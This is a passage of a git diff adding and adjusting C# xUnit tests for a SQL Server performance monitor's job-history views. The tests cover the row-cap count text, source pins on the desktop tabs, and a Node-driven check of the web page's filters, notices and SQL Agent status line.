+/// handler used to rewrite the text as a bare "N run(s)", so applying a column filter took "showing the newest 2,000" off a
+/// count whose read was still cut at 2,000. The text is built once, in <see cref="JobHistoryCap.CountText"/>, and every
+/// writer of it (the load and the filter handler) goes through it with the row count of the last read. The two WPF tabs
+/// cannot be instantiated here, so the writers are pinned from their source, the way <c>LiteJobHistoryLoadingCapTests</c>
+/// pins Lite's.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class JobHistoryCountTextTests
+{
+    private const int Cap = 2000;
+
+    [Fact]
+    public void NothingShown_IsEmpty()
+    {
+        Assert.Equal("", JobHistoryCap.CountText(0, Cap, Cap));
+        Assert.Equal("", JobHistoryCap.CountText(0, 3, Cap));
+    }
+
+    [Fact]
+    public void ReadBelowTheCap_IsJustTheCount()
+    {
+        Assert.Equal("12 run(s)", JobHistoryCap.CountText(12, 1500, Cap));
+    }
+
+    [Fact]
+    public void ReadAtTheCap_KeepsTheLabel_WhateverTheFiltersLeaveShown()
+    {
+        /* The load's own count, and what a column filter leaves of the same read: the label is about the read. */
+        Assert.Equal("2000 run(s) (showing the newest 2,000)", JobHistoryCap.CountText(2000, 2000, Cap));
+        Assert.Equal("7 run(s) (showing the newest 2,000)", JobHistoryCap.CountText(7, 2000, Cap));
+        Assert.Equal("1 run(s) (showing the newest 2,000)", JobHistoryCap.CountText(1, 2000, Cap));
+    }
+
+    [Fact]
+    public void ViewerTab_EveryCountTextWriteGoesThroughTheSharedHelper()
+    {
+        AssertEveryWriteGoesThroughTheHelper(RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "JobHistoryTab.xaml.cs"), "Darling viewer");
+    }
+
+    [Fact]
+    public void LiteTab_EveryCountTextWriteGoesThroughTheSharedHelper()
+    {
+        AssertEveryWriteGoesThroughTheHelper(RepoFile.ReadRepoFile("Lite", "Controls", "JobHistoryTab.xaml.cs"), "Lite");
+    }
+
+    /// <summary>The viewer's column-filter handler rebuilds the count from the row count of the last read, not from the grid
+    /// alone: a handler that only knew the grid's count could not say whether the read hit the cap.</summary>
+    [Fact]
+    public void ViewerTab_ColumnFilterHandler_BuildsTheCountFromTheLastReadsRowCount()
+    {
+        var stripped = CSharpSourceWalker.StripCommentsAndStrings(RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "JobHistoryTab.xaml.cs"));
+
+        var head = stripped.IndexOf("private void FilterPopup_FilterApplied(", StringComparison.Ordinal);
+        Assert.True(head >= 0, "FilterPopup_FilterApplied was not found in the viewer's JobHistoryTab.xaml.cs");
+        var handler = CSharpSourceWalker.BraceBalanced(stripped, stripped.IndexOf('{', head));
+        Assert.Matches(
+            @"JobCountIndicator\s*\.\s*Text\s*=\s*JobHistoryCap\s*\.\s*CountText\s*\(\s*JobHistoryDataGrid\s*\.\s*Items\s*\.\s*Count\s*,\s*_lastReadRowCount\s*,\s*RowCap\s*\)\s*;",
+            handler);
+
+        /* The load records the read's row count (all.Count, before the Status/Category/column filters) for the handler. */
+        var load = CSharpSourceWalker.BraceBalanced(stripped, stripped.IndexOf('{', stripped.IndexOf("private async Task LoadJobsAsync()", StringComparison.Ordinal)));
+        Assert.Matches(@"_lastReadRowCount\s*=\s*all\s*\.\s*Count\s*;", load);
+    }
+
+    private static void AssertEveryWriteGoesThroughTheHelper(string source, string tab)
+    {
+        var stripped = CSharpSourceWalker.StripCommentsAndStrings(source);
+        var writes = Regex.Matches(stripped, @"JobCountIndicator\s*\.\s*Text\s*=\s*(?<rhs>[^;]*);").Cast<Match>().ToList();
+
+        Assert.NotEmpty(writes);
+        foreach (var write in writes)
+        {
+            Assert.True(
+                Regex.IsMatch(write.Groups["rhs"].Value.TrimStart(), @"^JobHistoryCap\s*\.\s*CountText\s*\("),
+                $"The {tab} Job History tab writes its count text without JobHistoryCap.CountText, so it can lose the cap label: {write.Value.Trim()}");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/JobHistoryGroupedStatsMatchWindowFunctionLiveTests.cs b/Darling/Darling.Tests/JobHistoryGroupedStatsMatchWindowFunctionLiveTests.cs
index 64f91401c3..974e8a0497 100644
--- a/Darling/Darling.Tests/JobHistoryGroupedStatsMatchWindowFunctionLiveTests.cs
+++ b/Darling/Darling.Tests/JobHistoryGroupedStatsMatchWindowFunctionLiveTests.cs
@@ -170,7 +170,7 @@ await InsertJobHistoryAsync(connection, ct, id: 201, at: tied.AddSeconds(1), job
             const int limit = 5;
 
             var oldRows = await ReadOldAsync(connection, sinceUtc, ct, limit);
-            var newRows = await viewer.GetJobHistoryAsync(sinceUtc, ServerId, limit, ct);
+            var newRows = await viewer.GetJobHistoryAsync(sinceUtc, ServerId, limit, cancellationToken: ct);
 
             /* Same count, same rows, same order, same values — the join replaces the window function without
                changing what the tab shows. */
@@ -328,7 +328,7 @@ await InsertJobHistoryAsync(connection, ct, id: 301, at: at, jobId: "shared_job"
             /* Fleet-wide (no server filter) is the shape whose job_stats join actually needs the server_id
                half; a large limit plus a client-side filter to just these two rows keeps the shared
                darlingtest store's other rows from being the thing that decides the LIMIT boundary here. */
-            var rows = await viewer.GetJobHistoryAsync(sinceUtc, serverId: null, limit: 2000, ct);
+            var rows = await viewer.GetJobHistoryAsync(sinceUtc, serverId: null, limit: 2000, cancellationToken: ct);
             var mine = rows.Where(r => r.JobId == "shared_job" && (r.ServerId == ServerId || r.ServerId == ServerId2)).ToList();
 
             Assert.Equal(2, mine.Count);
diff --git a/Darling/Darling.Tests/JobHistoryIdentityEpochTests.cs b/Darling/Darling.Tests/JobHistoryIdentityEpochTests.cs
index 4dbdc13361..d626e5cd3b 100644
--- a/Darling/Darling.Tests/JobHistoryIdentityEpochTests.cs
+++ b/Darling/Darling.Tests/JobHistoryIdentityEpochTests.cs
@@ -217,6 +217,11 @@ and still no parameters. The guard added an arm to the watermark branch and touc
         Assert.Equal(archival.Text.Replace(DevArchivalFilter, string.Empty, StringComparison.Ordinal), firstRun.Text);
     }
 
+    /// <summary>The run's measurements without the statement filter's counts (#4348), which every read that judged a
+    /// message adds beside whatever the definition measured itself.</summary>
+    private static IEnumerable<CollectorMeasurement> IdentityMeasurements(CollectorContext context) =>
+        context.Measurements.Where(m => !m.Label.StartsWith("statement_scrub_", StringComparison.Ordinal));
+
     [Fact]
     public async Task Regression_IsDetectedFromTheRows_AndCountedOnce_WithBothNumbers()
     {
@@ -240,7 +245,9 @@ comparator and the host remove paths alone (measurement-contract rule 3). The re
            run record as MEASUREMENTS - a count of one plus the two numbers an operator needs - never as prose. */
         Assert.Empty(deltas.Discontinuities);
         Assert.Empty(deltas.ClearedGroups);
-        var byLabel = context.Measurements.ToDictionary(m => m.Label, m => m.Value, StringComparer.Ordinal);
+        /* #4348: the statement filter's own statement_scrub_* counts ride the same note (a message was judged); this
+           test is about the identity measurements, so those are set aside. */
+        var byLabel = IdentityMeasurements(context).ToDictionary(m => m.Label, m => m.Value, StringComparer.Ordinal);
         Assert.Equal(3, byLabel.Count);
         Assert.Equal(1L, byLabel[JobHistoryCollector.IdentityRegressionsMeasurement]);
         Assert.Equal(11_500_000L, byLabel[JobHistoryCollector.IdentityWatermarkMeasurement]);
@@ -258,7 +265,7 @@ public async Task HonestIdentity_SaysNothing_AndNeitherDoesATrueFirstRun()
         using var reader = new FakeJobHistoryReader(JobHistoryRow(11_500_001L), JobHistoryRow(11_500_002L));
         Assert.Equal(2, (await JobHistoryCollector.Instance.ReadAsync(reader, context, CancellationToken.None)).Count);
         Assert.Empty(deltas.Discontinuities);
-        Assert.Empty(context.Measurements);
+        Assert.Empty(IdentityMeasurements(context));
 
         /* No watermark at all (true first run, or an archival-emptied Lite store): every id is "below"
            nothing, so there is no regression to report. A null watermark is not evidence of anything. */
@@ -267,7 +274,7 @@ public async Task HonestIdentity_SaysNothing_AndNeitherDoesATrueFirstRun()
         using var firstRunReader = new FakeJobHistoryReader(JobHistoryRow(17L));
         Assert.Single(await JobHistoryCollector.Instance.ReadAsync(firstRunReader, firstRun, CancellationToken.None));
         Assert.Empty(firstRunDeltas.Discontinuities);
-        Assert.Empty(firstRun.Measurements);
+        Assert.Empty(IdentityMeasurements(firstRun));
     }
 
     [Fact]
diff --git a/Darling/Darling.Tests/JobHistoryPageTests.cs b/Darling/Darling.Tests/JobHistoryPageTests.cs
new file mode 100644
index 0000000000..9ad0072e86
--- /dev/null
+++ b/Darling/Darling.Tests/JobHistoryPageTests.cs
@@ -0,0 +1,366 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins and a Node run for the web Job History page: it reads get_job_history with the parameters the tool
+/// takes, offers the desktop's columns and filters, keeps its filters across the 60 s rebuild, draws the tool's two
+/// notices, and sits as one block at the end of the nav and the router.
+/// </summary>
+public sealed class JobHistoryPageTests
+{
+    private static string Wwwroot(params string[] parts) =>
+        ReadRepoFile(new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot" }.Concat(parts).ToArray()).ReplaceLineEndings("\n");
+
+    private static string Page() => Wwwroot("js", "pages", "job-history.js");
+
+    [Fact]
+    public void ThePageReadsGetJobHistoryThroughTheSharedReadWithASignal()
+    {
+        var page = Page();
+        Assert.Contains("readToolWithinKeptHistory(\"get_job_history\", readParams(w), signal)", page);
+        Assert.Contains("readTool(\"list_servers\", {}, controller.signal)", page);
+        Assert.Contains("VIZ.table(data,", page);
+        Assert.Contains("rowsKey: \"runs\"", page);
+        Assert.DoesNotContain("innerHTML", page);
+    }
+
+    [Fact]
+    public void EveryParameterThePageSendsIsOneTheToolTakes()
+    {
+        var method = typeof(DarlingMcpJobTools).GetMethod(nameof(DarlingMcpJobTools.GetJobHistory))!;
+        Assert.Equal("get_job_history", method.GetCustomAttribute<McpServerToolAttribute>()!.Name);
+        var tool = method.GetParameters().Select(p => p.Name!).ToHashSet();
+        var sent = Regex.Matches(Page(), "\\bp\\.([a-z_]+) = ").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(sent);
+        // The web route maps the page's hours / server names onto the tool's hours_back / server_name.
+        var aliases = new System.Collections.Generic.Dictionary<string, string> { ["hours"] = "hours_back", ["server"] = "server_name" };
+        foreach (var name in sent)
+            Assert.Contains(aliases.TryGetValue(name, out var mapped) ? mapped : name, tool);
+        // #5562: the held range gives the hours, and a finished range also sends its end as as_of.
+        Assert.Contains("const p = { hours: w.hours, limit: state.limit };", Page());
+        Assert.Contains("if (w.asOf) p.as_of = w.asOf;", Page());
+    }
+
+    [Fact]
+    public void TheStatusChoicesAreTheOnesTheToolAccepts()
+    {
+        var statuses = Regex.Matches(Page(), "\\{ value: \"([A-Za-z]*)\", label: \"[^\"]+\" \\}")
+            .Select(m => m.Groups[1].Value).Where(v => v.Length > 0);
+        Assert.Equal(new[] { "Failed", "Succeeded", "Retry", "Canceled" }, statuses);
+    }
+
+    [Fact]
+    public void TheColumnKeysAreTheOnesTheToolEmits()
+    {
+        var source = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpJobTools.cs");
+        var keys = Regex.Matches(Page(), "\\{ key: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+        Assert.Equal(10, keys.Count);
+        foreach (var key in keys)
+            Assert.Matches("(?m)^\\s+" + Regex.Escape(key) + " = ", source.ReplaceLineEndings("\n"));
+    }
+
+    [Fact]
+    public void TheNavEntryAndRouteAreTheLastOnesInTheirLists()
+    {
+        var html = Wwwroot("index.html");
+        var navLinks = Regex.Matches(html, "<a data-route=\"([a-z-]+)\"").Select(m => m.Groups[1].Value).ToList();
+        Assert.Equal("job-history", navLinks[^1]);
+
+        var app = Wwwroot("js", "app.js");
+        Assert.Contains("import { renderJobHistory } from \"./pages/job-history.js\";", app);
+        Assert.Contains("if (h === \"#/job-history\" || h === \"#/job-history/\") return { name: \"jobHistory\" };", app);
+        Assert.Contains("else if (r.name === \"jobHistory\") renderJobHistory(main);", app);
+        Assert.Contains("if (r.name === \"jobHistory\") return \"job-history\";", app);
+    }
+
+    [Fact]
+    public void TheActivityTabCarriesAPerServerJobHistoryGrid()
+    {
+        var tabs = Wwwroot("js", "pages", "server-tabs.js");
+        Assert.Contains("\"get_job_history\",\n        { server, hours: ctx.hours, limit: 100 },", tabs);
+        Assert.Contains("        JOB_HISTORY_COLUMNS,\n        ctx.label + \", newest 100 runs", tabs);
+        var page = Regex.Matches(Page(), "\\{ key: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).Where(k => k != "server");
+        var block = tabs[tabs.IndexOf("const JOB_HISTORY_COLUMNS = [", StringComparison.Ordinal)..];
+        var tab = Regex.Matches(block[..block.IndexOf("];", StringComparison.Ordinal)], "\\{ key: \"([a-z_]+)\"").Select(m => m.Groups[1].Value);
+        Assert.Equal(page, tab);
+    }
+
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "job-history-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the job-history harness did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the job-history harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Strings(JsonElement e) => e.EnumerateArray().Select(x => x.GetString()!).ToArray();
+
+    [Fact]
+    public void TheFirstBuildReadsTheFleetWithTheDefaultsAndTheDesktopColumns()
+    {
+        var run = Run();
+        var first = run.GetProperty("first");
+        var call = Assert.Single(first.GetProperty("calls").EnumerateArray());
+        var q = call.GetProperty("q");
+        Assert.Equal("24", q.GetProperty("hours").GetString());
+        Assert.Equal("100", q.GetProperty("limit").GetString());
+        Assert.False(q.TryGetProperty("server", out _));
+        Assert.True(call.GetProperty("signal").GetBoolean());
+        Assert.Equal("Run Time,Server,Job,Category,Step,Status,Duration,Retries,Last Success,Message", string.Join(",", Strings(run.GetProperty("columns"))));
+        Assert.Equal("Run Time,Server,Job,Category,Step,Status,Duration,Retries,Last Success,Message", string.Join(",", Strings(first.GetProperty("headers"))));
+        Assert.Equal(2, first.GetProperty("bodyRows").GetInt32());
+        Assert.Equal(",srv-a,srv-b", string.Join(",", Strings(first.GetProperty("servers"))));
+        Assert.Equal(",Backup,Maintenance", string.Join(",", Strings(first.GetProperty("categories"))));
+        // Text only: a value that looks like markup is drawn as its characters.
+        Assert.Contains("<b>boom</b>", first.GetProperty("text").GetString());
+    }
+
+    [Fact]
+    public void TheRangeIsTheSharedPicker_AFinishedRangeSendsItsEnd_AndALongerOneIsRefusedNotClamped()
+    {
+        var range = Run().GetProperty("range");
+
+        // Past the catalog's 7 day reach: refused with the reason, and no read goes out (nothing is clamped).
+        Assert.Equal("This page's reads reach at most 7 days back.", range.GetProperty("past30d").GetString());
+        Assert.Equal(0, range.GetProperty("past30dCalls").GetInt32());
+
+        // A rolling length reads whole hours back from now and sends no as_of.
+        var rolling = Assert.Single(range.GetProperty("twoHours").GetProperty("calls").EnumerateArray());
+        Assert.Equal("2", rolling.GetProperty("hours").GetString());
+        Assert.False(rolling.TryGetProperty("as_of", out _));
+
+        // A finished range (yesterday) sends its end: the reader bounds the runs by it before the row limit.
+        var finished = Assert.Single(range.GetProperty("yesterday").GetProperty("calls").EnumerateArray());
+        Assert.InRange(int.Parse(finished.GetProperty("hours").GetString()!), 23, 25);
+        Assert.EndsWith("Z", finished.GetProperty("as_of").GetString());
+
+        // 30 minutes is read as the whole hour and cut at its start: the 50 minute old run goes, the 5 minute old one stays.
+        var half = range.GetProperty("thirtyMinutes");
+        Assert.Equal("1", Assert.Single(half.GetProperty("calls").EnumerateArray()).GetProperty("hours").GetString());
+        Assert.Equal("1 runs shown", Strings(half.GetProperty("shown")).Single());
+
+        // The popup greys out what the read cannot reach, and still offers the calendar periods and the end boxes.
+        Assert.Equal("Past 30 days,Month to Date,Previous Month,Year to Date,Previous Year", string.Join(",", Strings(range.GetProperty("items"))));
+        Assert.Equal(2, range.GetProperty("shape").GetProperty("dateBoxes").GetInt32());
+    }
+
+    [Fact]
+    public void TheReaderBoundsTheRunsByTheEndBeforeTheRowLimit()
+    {
+        // R6: the end is applied in SQL (JobHistoryFilter.UntilUtc), inside the per-server top-N, and again exactly in C# before the cap.
+        var reader = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "DarlingJobHistoryReader.cs").ReplaceLineEndings("\n");
+        Assert.Contains("AND   jh.run_datetime <= ${UntilParam(firstParam)} + make_interval(mins => so.offset_minutes)", reader);
+        Assert.Contains("return ApplyWindow(rows, sinceUtc, limit, filter?.UntilUtc);", reader);
+        var tool = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpJobTools.cs").ReplaceLineEndings("\n");
+        Assert.Contains("windowEnd);", tool);
+        Assert.Contains("DarlingJobHistoryReader.GetAsync(", tool);
+    }
+
+    [Fact]
+    public void TheFiltersReachTheReadAndSurviveARebuild()
+    {
+        var run = Run();
+        var picked = run.GetProperty("picked").GetProperty("calls").EnumerateArray().Last().GetProperty("q");
+        Assert.Equal("Failed", picked.GetProperty("status").GetString());
+        Assert.Equal("Maintenance", picked.GetProperty("category").GetString());
+
+        var rebuilt = run.GetProperty("rebuilt");
+        var q = Assert.Single(rebuilt.GetProperty("calls").EnumerateArray()).GetProperty("q");
+        Assert.Equal("Failed", q.GetProperty("status").GetString());
+        Assert.Equal("Maintenance", q.GetProperty("category").GetString());
+        Assert.Equal("Nightly", q.GetProperty("job_name").GetString());
+        Assert.Equal("Nightly", rebuilt.GetProperty("job").GetString());
+        Assert.True(rebuilt.GetProperty("jobFocused").GetBoolean());
+        Assert.Equal("Failed", rebuilt.GetProperty("selects").GetProperty("Status").GetString());
+    }
+
+    [Fact]
+    public void AFleetCallNamesNoServerAndAOneServerCallNamesIt()
+    {
+        var run = Run();
+        var one = Assert.Single(run.GetProperty("oneServer").GetProperty("calls").EnumerateArray()).GetProperty("q");
+        Assert.Equal("srv-a", one.GetProperty("server").GetString());
+        var fleet = Assert.Single(run.GetProperty("fleet").GetProperty("calls").EnumerateArray()).GetProperty("q");
+        Assert.False(fleet.TryGetProperty("server", out _));
+    }
+
+    [Fact]
+    public void TheRetainedDataAndRowLimitNoticesShowOnlyWhenTheReadSetsThem()
+    {
+        var run = Run();
+        var notices = run.GetProperty("notices");
+        Assert.Equal(2, notices.GetProperty("noticeCount").GetInt32());
+        var text = notices.GetProperty("text").GetString()!;
+        Assert.Contains("partial window: the store keeps job history from ", text);
+        Assert.Contains("Showing the newest 2 runs; more matched.", text);
+        Assert.Equal(0, run.GetProperty("quiet").GetProperty("noticeCount").GetInt32());
+    }
+
+    [Fact]
+    public void ARebuildInPlaceKeepsTheTypedTextFocusAndCaretWithOneRead()
+    {
+        var inPlace = Run().GetProperty("inPlace");
+        Assert.Single(inPlace.GetProperty("calls").EnumerateArray());
+        Assert.Equal("Other", inPlace.GetProperty("job").GetString());
+        Assert.True(inPlace.GetProperty("focused").GetBoolean());
+        Assert.Equal("2,3", string.Join(",", inPlace.GetProperty("caret").EnumerateArray().Select(x => x.GetInt32())));
+    }
+
+    [Fact]
+    public void AnEmptyAnswersWindowFactsAreReadFromItsHints()
+    {
+        var empty = Run().GetProperty("emptyPartial");
+        Assert.Equal(1, empty.GetProperty("noticeCount").GetInt32());
+        Assert.Contains("partial window: the store keeps job history from ", empty.GetProperty("text").GetString());
+    }
+
+    [Fact]
+    public void RowsAreColouredLikeTheDesktopGridAndTheCountIsShown()
+    {
+        var coloured = Run().GetProperty("coloured");
+        Assert.Equal("sev-Critical,sev-Warning,band-Offline,sev-Warning,", string.Join(",", Strings(coloured.GetProperty("rowClasses"))));
+        Assert.Contains("5 runs shown", coloured.GetProperty("text").GetString());
+    }
+
+    [Fact]
+    public void TheServerChoicesListSqlServerTargetsOnly()
+    {
+        Assert.Equal(",srv-a,srv-b", string.Join(",", Strings(Run().GetProperty("first").GetProperty("servers"))));
+    }
+
+    [Fact]
+    public void TheAgentLineSaysStoppedInRed_RunningOrUnknown_AndRollsUpAcrossServers()
+    {
+        var agent = Run().GetProperty("agent");
+        string Text(string k) => agent.GetProperty(k).GetProperty("text").GetString()!;
+        string Class(string k) => agent.GetProperty(k).GetProperty("cls").GetString()!;
+
+        Assert.Equal("SQL Agent is stopped on srv-a", Text("stopped"));
+        Assert.Equal("agent-line agent-stopped", Class("stopped"));
+        Assert.Equal("SQL Agent running", Text("running"));
+        Assert.Equal("agent-line agent-running", Class("running"));
+        Assert.Equal("Agent status unknown (no recent snapshot)", Text("unknown"));
+        Assert.Equal("agent-line agent-unknown", Class("unknown"));
+
+        Assert.Equal("Agent running on 2 of 4 servers; stopped on srv-b; status unknown on srv-d", Text("rollup"));
+        Assert.Equal("agent-line agent-stopped", Class("rollup"));
+        Assert.Equal("Agent running on 2 of 2 servers", Text("allRunning"));
+        Assert.Equal("agent-line agent-running", Class("allRunning"));
+
+        // An empty answer carries the Agent under hints, and it is shown there: that is when it matters most.
+        Assert.Equal("SQL Agent is stopped on srv-a", Text("emptyStopped"));
+        Assert.Equal("Agent running on 2 of 3 servers; stopped on srv-a", Text("emptyFleet"));
+        // A server with no SQL Agent service is not a stopped one: a plain line, never red, and the roll-up stays green.
+        Assert.Equal("No SQL Agent service on srv-x", Text("noService"));
+        Assert.Equal("agent-line agent-none", Class("noService"));
+        Assert.Equal("Agent running on 1 of 2 servers; no SQL Agent service on srv-x", Text("rollupNoService"));
+        Assert.Equal("agent-line agent-running", Class("rollupNoService"));
+        Assert.Equal("Agent running on 1 of 3 servers; stopped on srv-b; no SQL Agent service on srv-x", Text("rollupMixed"));
+        Assert.Equal("agent-line agent-stopped", Class("rollupMixed"));
+        Assert.Equal("No SQL Agent service on srv-x", Text("emptyNoService"));
+        // An answer with no Agent fields draws no line.
+        Assert.Equal(JsonValueKind.Null, agent.GetProperty("absent").ValueKind);
+    }
+
+    [Fact]
+    public void TheStoppedAgentLineIsRed()
+    {
+        var css = Wwwroot("css", "app.css");
+        Assert.Matches("\\.agent-line\\.agent-stopped \\{ color: var\\(--err\\);", css);
+    }
+
+    [Fact]
+    public void TheAgentLineReadsOnlyFieldsTheToolEmits()
+    {
+        var tool = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpJobTools.cs").ReplaceLineEndings("\n");
+        foreach (var field in new[] { "agent_running", "agent_status_desc", "next_run", "captured_at", "agents_total", "agents_running", "agents_not_running" })
+            Assert.Contains("[\"" + field + "\"]", tool, StringComparison.Ordinal);
+        var page = Page();
+        Assert.Contains("src.agents_total", page);
+        /* The page recognises the no-service server by the exact text the reader serves. */
+        Assert.Contains("const NO_AGENT_SERVICE = \"" + DarlingJobReader.NoAgentServiceDescription + "\";", page);
+        Assert.Contains("\"agent_running\" in src", page);
+    }
+
+
+    /// <summary>
+    /// W2 of the morning walk: the Message column sat at about 90 px, so each row grew 150-250 px tall, and a click on a
+    /// row opened nothing. The cell now shows the message in a clamped, readable-width block, and a click (or Enter) on
+    /// the row opens the whole message in a detail pane that Close empties and the page rebuild keeps.
+    /// </summary>
+    [Fact]
+    public void ARowClickOpensTheWholeMessage_AndTheCellClampsIt()
+    {
+        var d = Run().GetProperty("detail");
+        var full = d.GetProperty("longMessage").GetString()!;
+        var before = d.GetProperty("before");
+
+        Assert.Equal(full, Strings(before.GetProperty("cellTexts"))[0]);
+        Assert.Equal("", before.GetProperty("pane").GetString());
+        Assert.All(before.GetProperty("clickable").EnumerateArray(), c => Assert.True(c.GetBoolean()));
+
+        Assert.Contains("Job run: Nightly / (Job outcome) on srv-a", d.GetProperty("opened").GetString());
+        Assert.Equal(full, Strings(d.GetProperty("preText")).Single());
+        Assert.Contains("Job run: Nightly", d.GetProperty("reopened").GetString());
+        Assert.Equal("No message was recorded for this run.", Strings(d.GetProperty("noMessagePre")).Single());
+        Assert.Equal("", d.GetProperty("closed").GetString());
+
+        /* The server page's SQL Agent tab draws the same read, so its Message column gets the same clamp. */
+        var tabs = Wwwroot("js", "pages", "server-tabs.js").ReplaceLineEndings("\n");
+        var tabColumns = tabs[tabs.IndexOf("const JOB_HISTORY_COLUMNS = [", StringComparison.Ordinal)..];
+        Assert.Contains("render: jobMessageCell", tabColumns[..tabColumns.IndexOf("\n];", StringComparison.Ordinal)], StringComparison.Ordinal);
+        Assert.Contains("el(\"div\", { class: \"jh-message\"", tabs, StringComparison.Ordinal);
+
+        var css = Wwwroot("css", "app.css");
+        Assert.Matches("\\.jh-message \\{[^}]*min-width: 2[0-9]rem;[^}]*-webkit-line-clamp: 3;", css);
+    }
+
+    [Fact]
+    public void TheRunTimeColumnIsAnInstantFieldSoACustomRangeTrimsTheGrid()
+    {
+        Assert.Matches("INSTANT_FIELDS = \\[[^\\]]*\"run_time\"", Wwwroot("js", "util.js"));
+    }
+}
diff --git a/Darling/Darling.Tests/JobHistoryPerServerTopNLiveTests.cs b/Darling/Darling.Tests/JobHistoryPerServerTopNLiveTests.cs
index 7e9235e20d..af39ef6c6d 100644
--- a/Darling/Darling.Tests/JobHistoryPerServerTopNLiveTests.cs
+++ b/Darling/Darling.Tests/JobHistoryPerServerTopNLiveTests.cs
@@ -199,7 +199,7 @@ public async Task DeregisteredServersRow_StillSurfaces_LikeTheOldLeftJoin()
         var bodySucceeded = false;
         try
         {
-            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var sinceUtc = now.AddHours(-1);
             var at = now.AddMinutes(-5);
 
@@ -211,7 +211,7 @@ await InsertJobHistoryAsync(connection, ct, id: 1, at: at, jobId: "orphan_job",
                 serverName: "darling-4477-gone-raw");
             await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = $1", ServerDeregistered);
 
-            var rows = await viewer.GetJobHistoryAsync(sinceUtc, serverId: null, limit: 2000, ct);
+            var rows = await viewer.GetJobHistoryAsync(sinceUtc, serverId: null, limit: 2000, cancellationToken: ct);
             var orphan = rows.SingleOrDefault(r => r.JobId == "orphan_job" && r.ServerId == ServerDeregistered);
 
             Assert.NotNull(orphan);
@@ -220,7 +220,7 @@ like the old COALESCE(reg.display_name, jh.server_name) with reg NULL. */
             Assert.Equal("darling-4477-gone-raw", orphan!.ServerName);
 
             /* And it is reachable server-scoped too — the read's other parameter shape. */
-            var scoped = await viewer.GetJobHistoryAsync(sinceUtc, ServerDeregistered, 2000, ct);
+            var scoped = await viewer.GetJobHistoryAsync(sinceUtc, ServerDeregistered, 2000, cancellationToken: ct);
             Assert.Contains(scoped, r => r.JobId == "orphan_job");
 
             bodySucceeded = true;
@@ -255,7 +255,7 @@ public async Task NewSql_MatchesOldSql_ExactlyAcrossOffsetsTiesAndTheCapBoundary
         var bodySucceeded = false;
         try
         {
-            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var sinceUtc = now.AddDays(-3);
 
             await DarlingMcpTestData.RegisterServerAsync(connection, ServerPlus60, "darling-4477-plus60", ct);
@@ -327,7 +327,7 @@ so the boundary itself — not just "everything came back" — is under test. */
             const int limit = 20;
 
             var oldRows = await ReadOldFleetAsync(connection, sinceUtc, limit, ct);
-            var newRows = await viewer.GetJobHistoryAsync(sinceUtc, serverId: null, limit, ct);
+            var newRows = await viewer.GetJobHistoryAsync(sinceUtc, serverId: null, limit, cancellationToken: ct);
 
             Assert.Equal(limit, newRows.Count);
             Assert.Equal(oldRows.Count, newRows.Count);
@@ -339,7 +339,7 @@ so the boundary itself — not just "everything came back" — is under test. */
             /* And scoped-to-one-server, for the server with the same-server tie — the other parameter shape,
                same equivalence requirement. */
             var oldScopedRows = await ReadOldScopedFullAsync(connection, sinceUtc, ServerZeroOffset, limit, ct);
-            var newScopedRows = await viewer.GetJobHistoryAsync(sinceUtc, ServerZeroOffset, limit, ct);
+            var newScopedRows = await viewer.GetJobHistoryAsync(sinceUtc, ServerZeroOffset, limit, cancellationToken: ct);
             Assert.Equal(oldScopedRows.Count, newScopedRows.Count);
             for (var i = 0; i < oldScopedRows.Count; i++)
             {
@@ -413,7 +413,7 @@ public async Task ScopedRead_UsesTheIndex_WithNoExtraSort()
         {
             await DarlingMcpTestData.RegisterServerAsync(connection, ServerZeroOffset, "darling-4477-plan", ct);
 
-            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var sinceUtc = now.AddDays(-3);
 
